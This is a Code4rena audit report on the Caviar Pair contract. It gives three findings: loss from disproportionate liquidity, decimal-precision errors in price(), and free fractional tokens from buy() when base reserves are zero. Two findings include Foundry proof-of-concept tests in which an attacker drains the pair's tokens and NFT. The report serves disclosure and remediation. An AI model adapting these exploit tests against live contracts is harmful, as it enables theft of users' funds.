Caviar contest - CRYP70's results

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L63-L98

Vulnerability details

Description

The add() function in the Pair contract is designed for users to add liquidity to the pair using both base tokens and fractional tokens. Users will then get the option of specifying the minimum amount of liquidity tokens as a representation of their position in the pool. This function asserts that the user providing liquidity is at least providing more than 0 tokens for each however, this implementation is flawed because users can provide liquidity and suffer an immediate loss.

Impact

This was awarded a High in severity because users can suffer an immediate economic loss as a result of providing liquidity to the pair. Consider the following scenario - Alice provides provide a small amount of liquidity of each token to the pool. Following this Bob, a big time investor, decides to provide a large amount of base tokens but the same amount of fractional tokens as alice to the pool. Suddenly, Bob's investment plans change and decides to remove liquidity from the pool. He realises that he's lose a little under half of his base tokens.

Proof of Concept

The following solidity test outlines this scenario:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";


import "../src/Caviar.sol";
import "../src/Pair.sol";
import "./shared/mocks/MockERC721.sol";
import "./shared/mocks/MockERC20.sol";
import "./shared/mocks/MockUSDC.sol";

import "../script/CreatePair.s.sol";



contract MyTest is Test {

    address alice = vm.addr(1);
    address bob = vm.addr(2);
    address eve = vm.addr(3);

    MockERC721 public bayc;
    MockUSDC public usdc; // Modified ERC20 contract to support 1e6
    MockERC20 public dvt;

    CreatePairScript public createPairScript;
    Caviar public c;
    Pair public p;
    LpToken public lpToken;
    Pair public ethPair;
    LpToken public ethPairLpToken;

    address public babe = address(0xbabe);

    function setUp() public {

        vm.deal(address(alice), 1000 ether);
        vm.deal(address(eve), 1000 ether);

        createPairScript = new CreatePairScript();

        c = new Caviar();

        bayc = new MockERC721("yeet", "YEET");
        usdc = new MockUSDC();
        dvt = new MockERC20("DamnValuableToken", "DVT");


        ethPair = c.create(address(bayc), address(0), bytes32(0));
        ethPairLpToken = LpToken(ethPair.lpToken());

        vm.label(babe, "babe");
        vm.label(address(c), "caviar");
        vm.label(address(bayc), "bayc");
        vm.label(address(usdc), "usd");
        vm.label(address(p), "pair");
        vm.label(address(lpToken), "LP-token");
        vm.label(address(ethPair), "ethPair");
        vm.label(address(ethPairLpToken), "ethPair-LP-token");

    }

    function testUsersLoseFundsOnProvidingLiquidity() public {
        p = c.create(address(bayc), address(dvt), bytes32(0));
        lpToken = LpToken(p.lpToken());

        deal(address(dvt), address(alice), 2650 ether, true);
        deal(address(dvt), address(bob), 10000 ether, true);
        bayc.mint(address(alice), 1);
        bayc.mint(address(bob), 2);
        

        assertEq(dvt.balanceOf(address(alice)), 2650 ether);

        vm.startPrank(address(alice));
        bayc.setApprovalForAll(address(p), true);
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = 1;

        bytes32[][] memory proofs = createPairScript.generateMerkleProofs("YEET-mids.json", tokenIds);

        p.wrap(tokenIds, proofs);
        assertEq(p.balanceOf(address(alice)), 1 ether);

        
        dvt.approve(address(p), dvt.balanceOf(address(alice)));
        p.approve(address(p), 1 ether);
        p.add(dvt.balanceOf(address(alice)), 1 ether, 0);

        assertEq(dvt.balanceOf(address(alice)), 0);

        lpToken.approve(address(p), lpToken.balanceOf(address(alice)));

        console.log(dvt.balanceOf(address(alice)));
        vm.stopPrank();



        vm.startPrank(address(bob));
        bayc.setApprovalForAll(address(p), true);
        tokenIds = new uint256[](1);
        tokenIds[0] = 2;

        proofs = createPairScript.generateMerkleProofs("YEET-mids.json", tokenIds);

        p.wrap(tokenIds, proofs);

        dvt.approve(address(p), dvt.balanceOf(address(bob)));
        p.approve(address(p), 1 ether);
        p.add(dvt.balanceOf(address(bob)), 1 ether, 0);


        lpToken.approve(address(p), lpToken.balanceOf(address(bob)));
        p.remove(lpToken.balanceOf(address(bob)), 0, 0);

        vm.stopPrank();

        // Assert Bob has lost funds
        assertEq((dvt.balanceOf(address(bob)) < 10000 ether), true);

        
    }

}

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

It's recommended that when users provide liquidity to the pair, that they provide a proportionate amount of liquidity to the pool. For instance, Alice provides 2650 DVT with 1 FRAC. Bob should only be able to provide 2650 DVT with 1 FRAC or 5300 DVT with 2 FRAC. This can be enforced in the add() function by checking that Bob's liquidity amount fits into the existing liquidity for both tokens.

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L391 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L20

Vulnerability details

Description

The price() function in the Pair.sol contract is designed to calculate the current price of one fractional token in base tokens with 18 decimals of precision however, there is a flaw in the price implementation where tokens such as USDT or USDC have not been considered which are of 6 decimal places.

Impact

This was awarded a High in severity because if the base token for a pair is not of 18 decimal places, this may result in an immediate loss of funds or undeserved gains when calculating token prices. Since the price() function assumes that the base token reserves are of 18 decimal places, internal accounting may be deemed incorrect if a token such as USDC (1e6) was to be used as the base reserve token. Therefore, because the price of a base token is being multiplied by 1e18 and divided by the amount of fractional tokens, malicious actors may be able to deposit a minimal amount and withdraw a large amount of tokens which may result in financial loss for users invested in the pair. In addition to this, fractional tokens may appear to be worth more than they actually are.

Proof of Concept

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L391

Recommended Mitigation Steps

It's recommended that when performing operations involving decimal precision, the base token reserves should be multiplied dynamically by using ERC20(baseToken).decimals() to cater for a wider range of tokens.

Lines of code

https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L398-L400 https://github.com/code-423n4/2022-12-caviar/blob/main/src/Pair.sol#L147-L176

Vulnerability details

Impact

The buy() function in the Pair.sol contract is designed to allow users to purchase fractional tokens from the pair. A buy quote is created through the buyQuote() function which returns the amount of fractional tokens to be minted by returning (outputAmount * 1000 * baseTokenReserves()) / ((fractionalTokenReserves() - outputAmount) * 997) however, there is a critical flaw when there are no base tokens in the reserves, this will allow the malicious actor to get free Fractional tokens as anything multiplied by zero base token reserves is always going to equal zero input tokens. This was rated a Medium in severity because whilst NFT tokens can be stolen, certain edge cases must be met for the base token reserves to reach zero.

Proof of Concept

The following proof of concept solidity test outlines the impact mentioned above:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../src/Caviar.sol";
import "../src/Pair.sol";
import "./shared/mocks/MockERC721.sol";
import "./shared/mocks/MockERC20.sol";
import "./shared/mocks/MockUSDC.sol";
import "./shared/exploits/MaliciousNFT.sol";
import "../script/CreatePair.s.sol";


contract MyTest is Test {

    address alice = vm.addr(1);
    address eve = vm.addr(1);

    MockERC721 public bayc;
    MockUSDC public usdc; // Modified ERC20 contract to support 1e6

    CreatePairScript public createPairScript;
    Caviar public c;
    Pair public p;
    LpToken public lpToken;
    Pair public ethPair;
    LpToken public ethPairLpToken;

    address public babe = address(0xbabe);

    function setUp() public {

        vm.deal(address(alice), 1000 ether);
        vm.deal(address(eve), 1000 ether);

        createPairScript = new CreatePairScript();

        c = new Caviar();

        bayc = new MockERC721("yeet", "YEET");
        usdc = new MockUSDC();

        p = c.create(address(bayc), address(usdc), bytes32(0));
        lpToken = LpToken(p.lpToken());

        ethPair = c.create(address(bayc), address(0), bytes32(0));
        ethPairLpToken = LpToken(ethPair.lpToken());

        vm.label(babe, "babe");
        vm.label(address(c), "caviar");
        vm.label(address(bayc), "bayc");
        vm.label(address(usdc), "usd");
        vm.label(address(p), "pair");
        vm.label(address(lpToken), "LP-token");
        vm.label(address(ethPair), "ethPair");
        vm.label(address(ethPairLpToken), "ethPair-LP-token");
    }

    function testZeroBaseTokensAllowsFreeTransfer() public {
        console.log("EVE ADDRESS:");
        console.log(address(eve)); // 1000 USDC , 0 Fractional

        uint256 usdcAmount = 1000 * 1e6;
        uint256 fractionalTokenAmount = 30 ether;

        // Set up scenario 
        deal(address(usdc), address(eve), usdcAmount, true); 
        deal(address(p), address(p), 100 ether, true); 
        bayc.mint(address(p), 1);

        // Assertion for pair
        assertEq(usdc.balanceOf(address(p)), 0);
        assertEq(p.balanceOf(address(p)), 100 ether);
        assertEq(bayc.balanceOf(address(p)), 1);
        // Assertions for alice
        assertEq(usdc.balanceOf(address(eve)), 1000 * 1e6);
        assertEq(p.balanceOf(address(eve)), 0);
        assertEq(bayc.balanceOf(address(eve)), 0);

        // DEBUG
        // console.log("Eve balance of USDC token before:");
        // console.log(usdc.balanceOf(address(eve)));
        // console.log("Eve balance of fractional token before:");
        // console.log(p.balanceOf(address(eve)));
        // console.log("Pair balance for fractional before:");
        // console.log(p.balanceOf(address(p)));


        vm.startPrank(address(eve));

        usdc.approve(address(p), usdc.balanceOf(address(eve)));
        // Eve cleans out the vault without providing a cent of USDC
        p.buy(99 ether, usdc.balanceOf(address(eve))); // Results in a revert if eve stole the full amount, so one token is left
        
        uint256[] memory tokenIds = new uint256[](1);
        tokenIds[0] = 1;
        p.unwrap(tokenIds); // Unwrap stoken fractional funds and steal NFTs

        vm.stopPrank();

        // Assertion for pair
        assertEq(usdc.balanceOf(address(p)), 0);
        assertEq(p.balanceOf(address(p)), 1 ether);
        assertEq(bayc.balanceOf(address(p)), 0);

        // Assertions for eve
        assertEq(usdc.balanceOf(address(eve)), 1000 * 1e6);
        assertEq(p.balanceOf(address(eve)), 98 ether); 
        assertEq(bayc.balanceOf(address(eve)), 1);


        // DEBUG
        // console.log("\n");
        // console.log("Eve balance of USDC token after:");
        // console.log(usdc.balanceOf(address(eve)));
        // console.log("Eve balance of fractional token after:");
        // console.log(p.balanceOf(address(eve)));
        // console.log("\n");
        // console.log("Pair balance for fractional after:");
        // console.log(p.balanceOf(address(p))/1e18);
    }
}

Recommended Mitigation Steps

It is recommended that the user who creates a caviar pair is required to initially add liquidity to the pool so they are obligated to provide input tokens in exchange for fraction tokens. In addition to this, the sanity check below in the buy() function is recommended to ensure that base liquidity tokens have already been provided:

require((ERC20(baseToken).balanceOf(address(this)) > 0), "Liquidity not provided!");